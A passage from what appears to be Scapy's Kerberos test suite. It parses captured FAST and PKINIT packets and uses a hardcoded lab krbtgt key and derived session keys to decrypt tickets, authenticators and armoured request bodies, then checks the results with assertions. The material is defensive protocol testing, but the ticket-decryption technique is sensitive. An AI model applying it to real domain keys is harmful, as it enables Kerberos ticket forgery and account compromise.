\xee\x9c\x0c\t\xfb\xc3\xee\xd8Ki\xca\xaa6~\x87\x0fu\xde\xfd\x8d9\trl\x9d\xe9\xf0\x10\x0b\x85SO\xc2\xae0\xb1\xc1\x9a\x8c\xa0\xcb/\xad\x94\xaa\xe0\xb1R\'C\xd0uqw\'\xa6zF\x9d7\xf7\x08\xd8[(\xd5\x11\xc6:\xf5\r:\xde\xf9\xdd\xd9/T\xaa\xe1Q/\x9eD\x91\x01\xa8X\xf0O\xde\x88\xcb\xc4\xc7\x87\xb1pv\xd4\xb0r\xc1\x10\x80W9\xf7\xe7+\xd9M:\xf2\x8f\xdf\xa4\xc1\xa5\x95lU\xc02A\rf\x0b\xef\xc8\xc9A\'\x87\xff\x92W\xd4\xed\xb9\xd0|{\\\xbd\xf2\xfb%h\xe3\xb8\xccs\xec_\xe7\xf9\x90\xae\xb8E\xab\xf6!\xe6z@\xf1-nO\xcf X\x1eh\x86L\xba\x0ef_\xde]\xe2_\x94\xb0\x13\xccN\r/\xd3\xf2\x81\x07\x1b\x14\xfd6\x00Y~\xc0?\xaeYb\x7f\x16\x139\xe5P:\x93\xe3N3\x08iB\xc5m\xa3\xb5\x10d\xd1~\x0eb~wk{u\xec\xbe_!w{\xb7Z\\\xcf\xf5\xd9\xc3\xea\xe5\xfd\xfd\x03\x18\x07\xab\xe3\x06\x07\x9a\xa1\x9c\xc2C.\x0e\xb7c\x14\xf6\\\xd2\x82\xf2\xfc\x01>\xed\xfb6&<\x8f\xab\xe0\xfe5\x86!e{\xadr\xa3\xab\x87\xbc;p\xbdh|\x04\xf5\xffJ6\x94\xca\xacLc\xeb\x91\x14\xb94\xe7\xf4k+_V\xefh\xd4G@\x16\xc7?\x92\x94\xa3\x87\x81#\xbc\xa6>\xefh\xdd\x91\xe2\xce\x06\xba+\x96\x83\xb5n\xb2\x0c\xc3\xf9\x1f\x15\xe8\xba\x10\xf7V\x8b\xf4\xc1Rg\x86S\xfa\x89\x90\xe4\xceJ\x8d4\xc1Bh\xb5S\xa8\']8z,j-z\x0c\xc28Z\x06d\xd9\x90\x19\xf4\xc2)\xc7\x86\x9dk\x17{\x12/\t\x8a.\xc4\xe7\xdb~t\x92\xadx\xb2\x91\xb5\x96@\xf6\xa8ftuM\xdf\x17\xc4V\xa0y\xd0\xdf\x1f\x1a\xc9y>\xc0\xd1\x85\xde\xf4\xee#\xc8\x82F\xc8H\xa6h\xe8\x02H\x9bE5U`o\x98\xc0P\x9c\xd9L\xb9D\xff\xd8G\xd0k\xc0\x07\xda\xd2#\xc3"\xb7\xb8\xf2)\x9c\x164\xaa\xe4\x18-i(\xabn\xb7\xeaB5\xe4\xb7\xdc$$\x9e|\xcdA\x03\xf3\xd7n\xd3\xc1\xd7\xe6e\xb6\\\xd3)\xfah\xb7\x88\x0e\xeby \xfe\xd2!.Q\xa0\x97\xa8\xe2O\x1d\x99\x02#9\xf4\x1c\x0e\x1fN\xc9;\xd5?\x0fm=\xee\x0efj\xc1\xcb\x14\xb5\xa9}\xe2:F\xd7\x1d\x07\xfd\xaf\x96D\xfc\x007q\x11\xe1\xf6\x12\xdc%\xf7\x92ML\xbfH$\x10\x8a\xb9\xfbp\x9b\xff\x07\\N\x83\xf5\x11\xaex\xf2\x171F\xe3\xfc\xf6\x89\xc3\xdf]\xaa:\x8f\x99\'\x16` P\xe6X\x04\xe9@\x89\x90\x8cP\xc5b\xf82\t+\x14+\xb7\xa3\xfa\xba\xa4*r\xb41i\x070!\xba\xc8\xb17\x06\x12\xf2\xce\xa0\t9P\xd9]\xe4p1i\xf3\xed\xc0oT\'\x99\xc0\x7f\xa8s\x0bW\xc7S\x90w\xe6\xa7\x91\xe1\x84\xd3V5$\x92\xa3\x81\x90\x02\xdfVu\xd7\xb7x\x13+p\x8djP\xfa\x0eL\xc5}=\x12t\xc3\xa6\xa5\x12\xd9H+w\xea\t\x92km\xf9$\x0c\xa0Y\xda\xea\x15\xd0\xa1\xbe\x85\xa3\xd3\x9fQ\x1a\xd8A\xabf\x9d\x9c \x19\xa5\x8e\t\xb4\xcc@\xf6_\xdd\x85\xb9\\\x9f\xf5P\'\x9ae\xf0\x925\x884W\xde\x9fn\xb3q.\x08e\xd4\t\xf2;\xb5\xd0\xcb\xe8\x1b\x9e\x15\x83~ q]\xdaw\xd2X\xac\t=aV\xa7\x9c\xfb\xee\xe2n\xf7\x9a\xf1\'t[\xe2\xcc\xaeL\xb9\xe1\xbc\x87C\xddG-\xdeJ\x9d\x8d\xa4\xb4W\x83\xb8\xf0(\xa4\x92\xf9\xa9OJ\xb2s\x07\xfa*\x0f\xf9\xbf\x17Z\x15\xd5\x867\xe3\xfd\xa6r\xb3\x9f\xca\xb5\x9dth\n\xc4\xe3\xc4P\x08\xfe\xd6Fd=R\xde\xe6\x80CC,\xe9l=\x89,\x82\xed\xc5<\xec \x8b\x19\xe1\x88\xaf\xf2\x8b\xbby\x8f\xf1\x88\x84?\xcc\xa4\xb5\x7f\x84\x99\x9d\x85\xedEs\xfc\xc6f\xfc\xb8\x04=\xa5\xcf\x0f3\xb3\xed\'\x01\xa2(\xb5\xec\x1d9\xcd\x88%\x86\xf4u\x91\x11\xe6O\xfc:I7\x1b\xd4\xc0\x11u\x80\x1dt\xc1\x81\xd5#\x10\xff4\x03Fs;O^\x0c\xfb9v\xcb\rt\xd2\xfb\xa3-\x01\\\xa4\xd2\x07\xcdm\xe4*\x85)A\xf6[\xf7\xbbOarb\x0f\xd8\xbaq2LL%0\x1c\xc5\xfa\x94L-M\xab\x90<\xb1\x0e`\x81%\xc3\x1b\xe9\x80\n\xf2\x89}t\x07\xe6\x9e\x02\x80\x998@\xd6G>\x88\x18\x0e\xdb\xc329\x7fD~\xbe\xac\xc1\xd9\x05z\x8aP\x175\xad\xf90\x13\xaa\x13/=|\xf6T\xb9\xf5f\x95\xe1?\xaf\xca\xbfq\\^\xa2\t\xe9G\x81\xbd\x01\'\x9a\xed\xe4\x87\xee\xee\xd1\xaa\xd4\x1b\xd45\xa9\xb1\x14\xc4\x98)0\xde9/\xfe{~/\xd3\x05:|\xd4\x9d~\xde\xce\x8a\xd8\x80\xad\xc6\x19\xddzk\\\xb8$\xafY/\x90\xd3*L\xf7\xf5V\xd3\xa7E\x86\xf1Y=\x81\xfd\xcd\xa6n\xd3\xe4\xa362\xb6\xed\xa5\x8e\xa4\xb3\x0eC\xee^i^_\xaa\xf8\xc1\x93f\x7f\xb1\xdcr\xd8\xcc\x9bV\x17\xec\x14W\x0e\xbcUPw\x02"/L\xbc\x1b\xdb\x8c\x91G\xae\xfaI\xfbY\x8f\x9d\xa1\xab\xf0)\xb0J\x9b#\xc4a\xccw\xc9\xc3\x89A3\x9b\xcc\x87\xccx\xb2\x8c\xa4\xb4\xe6c\xc9\xd3Y:\x1d\xc8=\xd8K\x8bn\xe7\xf6\xa3\xf2\xc7\xe1\xffm\x14\xf1m\x80\xb91\x81`&\xc5\xab#Q+r\x14\xb4\xa6!tI\x8aNS\x179r9\x8b\x95\xbe\xf8\r\xd0P\x1f\x06\xe7\xd7V\xe3\x06\x98\xec\xa1\xeby\xe6cm\x88\xd3\xd6<\x1c\xea\x12%\xb5\x1b\x9b\r\xe6\xb4\xfba\x04\x81\xa2\xd1W-x\xe9\xb9\xc5e`\xf1\xcd\x9e\x83Z\x10\xeb-[\xa0\x95\xe1]\xf2)\x0f+{fW6C\x19$\xddd\x8a\n\xa4^\xbe\xf6\n\xe9\x1eI\x1fD\xf5\xdc9O\xe95!\xd9p\x87\x06\xbbgCh\x10\xebjI\xc9\x13n\x8e\xa0\x1bU\xf3./\xb1xU\xab\x1e\xe1\r\xcd\x8d\xa4Od\x14~R\x83\xe4F5r\xbb\xd8-{=\xb5\x9f<\x1er\xe7v\xf7&8\xdfD\x9f\xab/B\xcf\x0e\x87\xf4\xc9G\x8c\x1e\xf77Bem\x96D)!t\x1af\xbe\x84\x91\xe2\x10\x0bmb\xee\xa7%3\x95\xf6\xdc\xcd\xfc\xfd\x00S\xe3\xa13\xbc\xa33m\xfe\xa4\x91\xc7\xaeG%\\\x87)\xdc\xd2=\xef$\xb5\x8ew\x13\xba\xa2\xc0\xfc\xaal,!>\x17>\xd0D\xf7un\x8cI\x98D\x056@\x88y@"\x05T\xec\xd5a\xe66\x1d)\xf2\x80 \xf5&o\xa5\xda\xcd\xde_\x86-\x00\xcb\x02\xfa\xc7\t\x05\xfcX"\x9d\xb8\xbbSe=\xdey\x0e\xbb@\x00\xba\x9bpb\xbd\x98\xe1\x9az\xa9\xdd\xdd\xd5\x00B\xecu\xb0\x08\xf8\xbb\x0f\xf7z\xfb\xd8j\x14\xe9i]\xced\x00\xf7\xdb\x01\xe2\x03\xda\xf2\xbf)-\xad*,\x05\xd7\x11\xbc\xfc,[\x0f\xcb\x8b#\xfdt\x04A\x11\xfb\x95\xe5\xd1\x1e\xbf\x81\x16t\xa4\x81,\r\xb6\x02\x17\xcd\xa1t\xb4MX.\xbd\xcabFn\x0c\xa6\xb8g@\x0f\x14g~_"\xb9\xe9\x8cu\x94\xcc\x8dX~V\xacv\x86v\x98\t\x8d\xbc\xfe\x80\xee\x1c%\xcdJMj\x18\x90\xcf\t\xb4\x8d\rw\x1eK\xfd\xb3n\x0f\xf8|9/\x04\xd2\tIC\x8f\xfe%\xef;\x86\xb2Sm\x7f\x8f\x87\xb2\xa79(\x1a\x15\xb6\x80G\x81)\x9cg\xe0\x19# \xdd\x11Z)\x8f\x87\xc2s$.\xa89\xeb\xd8\x14\xbb#\x8a\xf0\xbc\xd5\xa9\x00\x10\xf9W[M\xf9\xc37B-.\xd9\x8e]\xfa \xf9\x01\x9b\x1fb\x13h~\x12\x11\x86\xf1\xd0\xcb\x8c>B\xf2\xfe\x82!\x8f\xb2\xa1vi\xf5i\\\xcfD\xcc\xb3\xfe\xda\xdcpin}\xa4t\xc9\x02\xa5\xe4\x1c\x17\xf9\x05H\xdf\x02\xf2\xa3n\xac(*\x9f\xb2\xec\xf0`\xbe\r\xb8\x04\xfd\x0f\x19\xd7&v\xd4\x9dA\xa5l\x01\xc7\xa7\xd8\x97B\x83\xe1\x9bD`v\xb4\xad\xe9\xcc+\xc1J\xa6\xb8\xe0\xc1\xf6\x9e\x8e@\xb3\x00\rc\x9e\x08\xbe\xedq%~"\xa0\x19J\x90\x96a\xb8\xc5\x8c\x012$M\x97K\x14e\x068\xda\x03D\x13On\xff\xd9\x1f\x88\xb6`\xe4K\xda\xed\x9b-\x02w,t\xc8\xd8\x18\xe9f\xfd\xa9\xc4\x82\xc9p\x04\xf9CJ\x18\x9e\x13\x07\xce>(') tgsrep = pkt.root.encPart.decrypt(sessionkey) assert tgsrep.nonce == 0x7a33e06a assert tgsrep.flags == '01000000100001010000000000000000' assert tgsrep.renewTill == '20231213110146Z' assert tgsrep.encryptedPaData[0].padataValue.flags == 0x1f + Kerberos FAST tests % Same than in kerberos.rst = FAST - Parse FAST AS-Req pkt = Ether(bytes.fromhex('52540013d0835254003ea3be08004502089636a1400080063ad3c0a87fd2c0a87fc8fecc0058eea93069573b278e50180402897400000000086a6a82086630820862a103020105a20302010aa38207a23082079e3082079aa10402020088a28207900482078ca082078830820784a082064a30820646a003020101a182063d048206396e82063530820631a003020105a10302010ea20703050000000000a38205796182057530820571a003020105a10c1b0a444f4d312e4c4f43414ca21f301da003020102a11630141b066b72627467741b0a444f4d312e4c4f43414ca382053930820535a003020112a103020102a282052704820523acc8b7671c0d50522f1a8d8452ce450aceb40fff0229e8ee546bccf1512e4877ef93dde465595260a6a5a8e85ea38600ce8dff7d510f3c744e2c43eb9d3187d638f716c29b6e7aa9eb407de28d0161f49013966eda0a161ff174dad42e7aa500cfe298541215448013ffe4883b6b1166f908f50de129487fe77fff874fd4102cdcce8db8dbeb8da02f08cc88b3790cdad5ec499959c7e79d6fef107d1e17ce80cc3df050b7e7a1c31f278e4fd4ea9523c950876f174be363234f8495b9550de1560ba17daeafbf133f78991053d929ad3fd668327d42288e6581671daaef908682ee282e17c31d8f8bb55d27fce155ee2e84a2ff8bc9600891be15e6ede3e1bbd2742a7af8b0a32c48973c9e3776a69647bab11592756c5a15b9101c392efa35d000abb3dabccd97e64426e3fd8d47e0e369c83b5391f38947d536d351c061081d654eef1a3861cdb2ea2bc48222b450d1b7d09c0670493bccc60dfcaa5cfe46fd50adf8e388204a4691dc5f0c3dbae0b4da6ac2dd781f149a444840aaa3a3c3befb5a5c04ee0405baed66afcf9b988d10ea14a955f43df79465e6fc02a12bce3870988950f1ab48e1a4f876f351671c5061e6399a63cb0479f7bd017dfd9bc5be192faf6d4f11e6ee6003933eeaf632f0056c4c1ccd183d7977cfca85419fe5b039674419d802068e792c9576ae2a88bfbeb1f59273226782c6efb288717d8f7a4bc3bf4c697fcac1adc1829f0a914f2559b278ccadd108eb87a11dacc88e4302e9af627474e57171192b94c6b358f8f98e308596215d2fb9d9c2b49c4cbedcb43fc231b86f0493d56b82962cf3383a84f8922c2b99f8fa8fdd85797b09a6e60f72007c0379988be2ff1cfc16f21300c1b4b784174005a9185f760e68ef94b9384eb24decee31b63d1b92278cd75b85d4d80c4e83306533a9d95aa6207cbfbeb0970a41c44aba59839f007923ecd8ff0de8314990a435dbea4dedbee16faf5ab2be9f96d691cfa983a6c843bd183f84c1b4998a3eaa907cae6b82b0ae8363f3edd8cb03d3c9c60ff55a84d8a292ea20555fbd6ce5ad4ad7a6b4bc5bff2e02c477a7a8a98d5a387d389caa172c400b151d95871b2aa16a040dc71a9be5f0774b06a5ca87674ccb4109a2c41db9e3160704218ad495d0751194fbef4becae4d7be24b9d968da592256a2b22cf724e989e71a60d0603b59bebd475285f793794b7a18af49a2b68670e3a6247c453274e35c863a16b5023c6c94659e25abb27c760f989ac0bbf9a5b125d0ea34fb03225cc93d5b8b6829e906883ee76cf8ee61dfacc488e8dc5cbc8ba9705a9e915a68f838232394f97fb1aac4a2a90fe17d46f9c51946a2bf9598df7f5b5e7ee692a78860eea3cef748a5be36529228e40b4aec83ebc8bb14176a4c565b06500e9517229b8340c55812101dbbc6bee693c35873082a5a1a53b35cf3509193d4dc5175c9360a00da71692ba205b3264aecc9ecc8bca31fec43efc8701423bb484f6f21699439dd30f71228f16eaab96b7de3547721d1635bbfe50678900ac378a4958b6c34964f3e0dc843880dbde57fb4a76ab85eba2b190bfdaefc7ba17e109f839493b0f2d6fc7ea17403bebe06f2809314ca514606f54668082364ed6752019f27e1df74f93fcf1c25630a29713a89d4a998c444bc91279c6fc66e0aa5dec72be316e1160cf9f90d5915c464b6bfec5216e901be4726db596a15745511c63736a69ac9ecb9e86601c631b4992653c320e6983562fa613134560cb606621e9661ac5961313ee70868ab48d6010173d8a96fffdb2baf4afe18c846d3fed6f30b9a809d72e647735fc536edec543abc232480d28660395a4819e30819ba003020112a281930481901273d5af61ad426d51d0757e897917caeb6fc1b6950554e8d750f95d27f444e3aaf7ae0bf4595b5e906d9682dbdeedcf6eb42a84ab8092997b783f57710127228165deeb2ce5e09e2ddc71555dc31970a8312d888b8ae766382098276d62b4bd76f34cbc889e24ad5405ec037ceb724fdb71fe247fe2a414a037ed33c796f4475fcfb5993eed147b6d63d740d58da5b0a1173015a003020110a10e040c75f02d8d2954e0ae1a9e0653a282011930820115a003020112a282010c04820108ae9bbc4629c80f4a383a69c4583824295c75f34b000b3fdbdaab073a042935e32c29e0ee2b2b446e4a6a2592362d0d593cddd74dacc24f16353776e1b5d192ad1cf5e63f66f40a134ecb87c077c30922bc0cab00ae23d187d56090d9098f843c54fabe7c012ff87e317dfe339c40911264609d489b041a4e9b52c0eb03ee88a393d17da92786bd1716b92eb0d7a5a24a64ade0870dea8a7e138acdf209ee277cb3fadeedab173fd64cc10a1004010774658b94852639bda10a5e8aff29174e3d2c7032c32631b074afdac0e6832bae74de9be19e522f63bc8499753a209291fee1861c29096cc8ee3cfda5be235b0aa95635916edcfcdaf90b896e2eaa5a57d5e4da0b00408f4201a481af3081aca00703050040810010a11a3018a003020101a111300f1b0d61646d2d302d66617374656e62a2061b04444f4d31a3193017a003020102a110300e1b066b72627467741b04444f4d31a511180f32303337303931333032343830355aa611180f32303337303931333032343830355aa70602043f58a7a0a81530130201120201110201170201180202ff79020103a91d301b3019a003020114a112041053525620202020202020202020202020')) fastreq = pkt.root.padata[0].padataValue assert isinstance(fastreq, PA_FX_FAST_REQUEST) = FAST - Decrypt fast ticket in AS-REQ from scapy.libs.rfc3961 import Key, EncryptionType krbtgt_hex = "ac67a63d7155791fe31dace230ab516e818c453dfdbd44cbe691b240725c4907" krbtgt = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex(krbtgt_hex)) enc = fastreq.armoredData.armor.armorValue.ticket.encPart encticketpart = enc.decrypt(krbtgt) assert encticketpart.authtime == '20220712230225Z' assert encticketpart.cname.nameString[0] == b"SRV$" = FAST - Decrypt authenticator in AS-REQ ticket_session_key = encticketpart.key.toKey() assert ticket_session_key.key == b'\xe3\xa2\x0f\x8e\xb2\xe1*\xe0\x7f\x86\xcc\x88\xe6,\x08>B\xd8)m/G\x82B;\x9f+\x86\xcd\xcd\xf4\x05' enc = fastreq.armoredData.armor.armorValue.authenticator authenticator = enc.decrypt(ticket_session_key) assert authenticator.crealm == b"DOM1.LOCAL" assert authenticator.seqNumber == 0 assert authenticator.ctime == "20220712235437Z" = FAST - Compute the armor key subkey = authenticator.subkey.toKey() assert subkey.key == b'%\xa4n\xe1\xd0\xf5\x8d\xc4\x8d\xecv\xe8\x9c\xd3\xc9\xee\x1bu\xc9\xa5\xa6\xf8\x83f\x98\xa1\xd9\xe7*I\x9b\xf8' from scapy.libs.rfc3961 import KRB_FX_CF2 armorkey = KRB_FX_CF2(subkey, ticket_session_key, b"subkeyarmor", b"ticketarmor") assert armorkey.key == b'\x9f\x18L]I\x16\xd0\xe5\xa6\xd9\x92+\xbf\xbc\xe0\n\xd1\xcb6\xf3\xd1.C\xc2\xdcp\xf0H(\x99\x14\x80' = FAST - Decrypt KDC REQ BODY from AS-REQ enc = fastreq.armoredData.encFastReq krbfastreq = enc.decrypt(armorkey) assert krbfastreq.padata[0].padataType == 0x80 assert krbfastreq.padata[0].padataValue.includePac assert krbfastreq.padata[1].padataValue.options == "10000000000000000000000000000000" assert krbfastreq.reqBody.cname.nameString[0] == b"adm-0-fastenb" assert krbfastreq.reqBody.etype == [0x12, 0x11, 0x17, 0x18, -0x87, 0x3] assert krbfastreq.reqBody.addresses[0].address == b'SRV ' = FAST - Check Fast Armor checksum data = bytes(pkt.root.reqBody) fastreq.armoredData.reqChecksum.verify(armorkey, data) = PKINIT - Parse AS-REQ with CMS structures (MIT Kerberos) pkt = Kerberos(bytes.fromhex('6a820df230820deea103020105a20302010aa3820d4b30820d4730820d2ba103020110a2820d2204820d1e30820d1a80820c4b30820c4706092a864886f70d010702a0820c3830820c34020103310f300d060960864801650304020105003082041c06072b060105020301a082040f0482040b30820407a0733071a00502030a8eb7a111180f32303235303932313130343332385aa20602045ba497a5a316041467a8b2f1aded7272d4840000331ffbbfc942a304a5353033a02204205aeb03e889e99fcd6c205ef484b9dd7b462b9e94c3fe68b115a71cd287fcd775a10d300b0609608648016503040201a182032a308203263082021906072a8648ce3e02013082020c0282010100ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361c55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552bb9ed529077096966d670c354e4abc9804f1746c08ca18217c32905e462e36ce3be39e772c180e86039b2783a2ec07a28fb5c55df06f4c52c9de2bcbf6955817183995497cea956ae515d2261898fa051015728e5a8aacaa68ffffffffffffffff020102028201007fffffffffffffffe487ed5110b4611a62633145c06e0e68948127044533e63a0105df531d89cd9128a5043cc71a026ef7ca8cd9e69d218d98158536f92f8a1ba7f09ab6b6a8e122f242dabb312f3f637a262174d31bf6b585ffae5b7a035bf6f71c35fdad44cfd2d74f9208be258ff324943328f6722d9ee1003e5c50b1df82cc6d241b0e2ae9cd348b1fd47e9267afc1b2ae91ee51d6cb0e3179ab1042a95dcf6a9483b84b4b36b3861aa7255e4c0278ba3604650c10be19482f23171b671df1cf3b960c074301cd93c1d17603d147dae2aef837a62964ef15e5fb4aac0b8c1ccaa4be754ab5728ae9130c4c7d02880ab9472d455655347fffffffffffffff0382010500028201007b93ec38a6d3a2e5ea4776f7c942c54f06c334ea637cf45e59c21f6638f6b5baa23420d3229c4a418579db1ce3b956d12ec1bce6883621720f2e596a65dd05881745e7524c88447a5e7a45e149e09f163093088716808e6520a471b53631262a19dc4b3b896717ddca77e15c2d8cf31aa1c03a604834e5f852dc4ac86518f53de4d16101c7f26253973987e1f8c6e8298159ff039646052afe14d634891f57abe5787cb023481aceb65c6ee92b123dfd2ddd15f7dcd733be535d063c4d42a309cb7b84163f8924f88c1b3e400b7f78556ba27d0456b739fe261286cffe7ae404379bc2157bf49fc610e4d46339e0e0a380f8e3b818b0bd4f7a038644f12c77bfa2343032300a06082a8648ce3d040304300a06082a8648ce3d040302300b06092a864886f70d01010d300b06092a864886f70d01010ba42c302a300ca00a06082b06010502030602300ca00a06082b06010502030601300ca00a06082b06010502030603a08206243082062030820508a00302010202131b000000028b4c5c90b3392fca000000000002300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313135385a170d3236303932303232313135385a305731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e310e300c060355040313055573657273311630140603550403130d41646d696e6973747261746f7230820122300d06092a864886f70d01010105000382010f003082010a02820101009edc4865105bdbe4843dcb43a1ed273630d4bb84e2c6096cb8ef4d111da3dfc8ad78ff7a02a6ea6da16f2ecd0a7e4a85c7b685b02286298493834f8361a318864bea2f2faa92a3236cd1e373eb2874ff8e09468762de9af0a0881ea098fbeadccb9573e53c90da8398a9992e6e6a46081e23c31527453f9540ab4bca93d7b139a97c3a0392d8c035832005cc1ae2fdbfe098381e62b37cd6b94ea638fd06d2e2dfb4c1c35896d717188fa8c472a42aaf65c04ff1f2a55dbb0b02dcec1f9e07d7dd930ddec43947cf229324bfa5189bfc5a34a59864c95fa2351b506979cf1bc3529a7933be0f2004932490d1a250735bd692af367f5ca326d392c28c99bde1210203010001a38202f3308202ef301706092b0601040182371402040a1e08005500730065007230290603551d2504223020060a2b0601040182370a030406082b0601050507030406082b06010505070302300e0603551d0f0101ff0404030205a0304406092a864886f70d01090f04373035300e06082a864886f70d030202020080300e06082a864886f70d030402020080300706052b0e030207300a06082a864886f70d0307301d0603551d0e041604140a63d8a405fe59c3f3abbef3111f6f6a6a08a973301f0603551d23041830168014ab14d5ae948281f079726970b3b8f97003aa760c3081c80603551d1f0481c03081bd3081baa081b7a081b48681b16c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4443312c434e3d4344502c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f63657274696669636174655265766f636174696f6e4c6973743f626173653f6f626a656374436c6173733d63524c446973747269627574696f6e506f696e743081c006082b060105050701010481b33081b03081ad06082b060105050730028681a06c6461703a2f2f2f434e3d444f4d41494e2d4443312d43412c434e3d4149412c434e3d5075626c69632532304b657925323053657276696365732c434e3d53657276696365732c434e3d436f6e66696775726174696f6e2c44433d444f4d41494e2c44433d4c4f43414c3f634143657274696669636174653f626173653f6f626a656374436c6173733d63657274696669636174696f6e417574686f7269747930350603551d11042e302ca02a060a2b060104018237140203a01c0c1a41646d696e6973747261746f7240444f4d41494e2e4c4f43414c304e06092b06010401823719020441303fa03d060a2b060104018237190201a02f042d532d312d352d32312d313332323235373836362d343033353133333636322d313134303736393232322d353030300d06092a864886f70d01010b050003820101005b76869c48c9e4f28043253b8552a6017dc25f9dc990da86a79210f334c1a7e50b6125ab176bc7bb194b96a02736c9838117071d533e99467bf24219228bb40b6d410c8fb23f129010b68777acb83944842a0af694673206be22c0a0078ee0543962b31bae8d809ef553dbe858cd063a7a06f1ea7d026394ace39f294ad5d8c1b077e58e7d17f86eea918aa88ac09cf55ffcf147aa14a4c64f4216211e45fd8794b2906a29b97bcbd47a0b213768f5403f9aa08fd23ea92664fb9a0246ae75e34f939102fad7c48b8c5bb650203aa48b48bed4635bff4e3386e694d57a4e7e65939c5a5a72997176b5d0e50bd369e78bbf0cda53db204fbf37839223daff3a06318201d4308201d0020101305e304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434102131b000000028b4c5c90b3392fca000000000002300d06096086480165030402010500a049301606092a864886f70d010903310906072b060105020301302f06092a864886f70d010904312204200e44063cba7907120ced545618cd365edc5071fdc806e8fdb990a7c858d37ef9300d06092a864886f70d01010b0500048201008c8e52430905bb06e897cb5eda4a466ebc6bf980a997d662b9a6f94b88173bab6e8b76b375454c7e06f2091f1ef43165e378263290a1dae9243f58a0e234ed0a082364afe9529b8e5ffee1df77f67a448f6461fac44562ca919381146d5c73e5e643ef8936765cb45661dcf4cf8b7652eee81712037ab7f007046e62ee98ea5f9d3acf426462591e9726f8a50677d935ebaf2f1fbc046033b6cb601c67d1bfe0b4485ab99fb1862500e861a114a03f1b693dd674a28516a240698c516bf94f09dde7ef80772e5098083bf3916ced80118d8f9f0bc737ec15c3d65cfb85e0d186ab11e9c7ab9383ee8fb4a2b7681c6c97edc8fcd48b7bb2dac49c52d70fab5ec1a181c83081c53081c28049304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341815d305b304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434102106b671318bb858b8e437e4229b0d32f1282160414ab14d5ae948281f079726970b3b8f97003aa760c300aa10402020096a2020400300aa10402020095a2020400a4819230818fa00703050050000010a11a3018a003020101a111300f1b0d41646d696e6973747261746f72a20e1b0c646f6d61696e2e6c6f63616ca321301fa003020102a11830161b066b72627467741b0c646f6d61696e2e6c6f63616ca511180f32303235303932323130343332325aa70602045ba497a5a81a301802011202011102011402011302011002011702011902011a')) assert isinstance(pkt.root.padata[0].padataValue, PA_PK_AS_REQ) pk_preauth = pkt.root.padata[0].padataValue assert len(pk_preauth.trustedCertifiers) == 1 assert pk_preauth.trustedCertifiers[0].subjectName.directoryName[0].rdn[0].type.oidname == "dc" assert pk_preauth.trustedCertifiers[0].subjectName.directoryName[0].rdn[0].value.val == b"LOCAL" assert pk_preauth.trustedCertifiers[0].subjectName.directoryName[1].rdn[0].type.oidname == "dc" assert pk_preauth.trustedCertifiers[0].subjectName.directoryName[1].rdn[0].value.val == b"DOMAIN" assert pk_preauth.trustedCertifiers[0].subjectName.directoryName[2].rdn[0].type.oidname == "commonName" assert pk_preauth.trustedCertifiers[0].subjectName.directoryName[2].rdn[0].value.val == b"DOMAIN-DC1-CA" assert pk_preauth.trustedCertifiers[0].issuerAndSerialNumber.serialNumber.val == 142762589450708598374370602088381230866 signedauthpack = pk_preauth.signedAuthpack authpack = signedauthpack.content.encapContentInfo.eContent assert [x.algorithm.oidname for x in authpack.supportedCMSTypes] == [ 'ecdsa-with-SHA512', 'ecdsa-with-SHA256', 'sha512WithRSAEncryption', 'sha256WithRSAEncryption', ] assert [x.kdfId.oidname for x in authpack.supportedKDFs] == ['id-pkinit-kdf-sha256', 'id-pkinit-kdf-sha1', 'id-pkinit-kdf-sha512'] assert authpack.pkAuthenticator.nonce == 0x5ba497a5 assert authpack.pkAuthenticator.freshnessToken is None assert authpack.pkAuthenticator.paChecksum2.checksum.val.hex() == "5aeb03e889e99fcd6c205ef484b9dd7b462b9e94c3fe68b115a71cd287fcd775" assert authpack.pkAuthenticator.paChecksum2.algorithmIdentifier.algorithm.oidname == "sha256" = PKINIT - Verify CMS signature and extract from scapy.layers.tls.cert import Cert, PrivKey, CertList, CMS_Engine # Get root CA ca = Cert(bytes.fromhex('3082036930820251a00302010202106b671318bb858b8e437e4229b0d32f12300d06092a864886f70d01010b0500304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d4341301e170d3235303932303232313034365a170d3330303932303232323034365a304731153013060a0992268993f22c64011916054c4f43414c31163014060a0992268993f22c6401191606444f4d41494e311630140603550403130d444f4d41494e2d4443312d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d502f47f909c951c87f2e8e6ac1c6f86d555b3311e5ef6086b588fb5eeb66277f63d18f04e65ba07570999bcc7cca3e0fa70914fcfa8acd81d4fbf4bb570a089b1b897cf3e07abc9fa75417bcb7171aaa95e20df12add93fada7df5447210820c1de12e356b248b7fe169019b7cf254c5be50571da26ff4219b8680fa249c14673bf743ef37b46c740353cb88097a099fbc7ca41a79c2cd9bc3a663003edfd12678c88b3970fdc211e38b985d6795d57041de0f3182873670bfee903069f59d3f0ff1634bf57f122ef7d1511775c47fdc574f632c9a1e8af305c81077af542f5499977870d8b0bce0d1fd8088636814d7847e0863ceb0ebe8bb0bd4e47eed01d0203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414ab14d5ae948281f079726970b3b8f97003aa760c301006092b06010401823715010403020100300d06092a864886f70d01010b05000382010100763c9c93d6f0dd98d6ee5269f1d5f8b83fa14e62a95138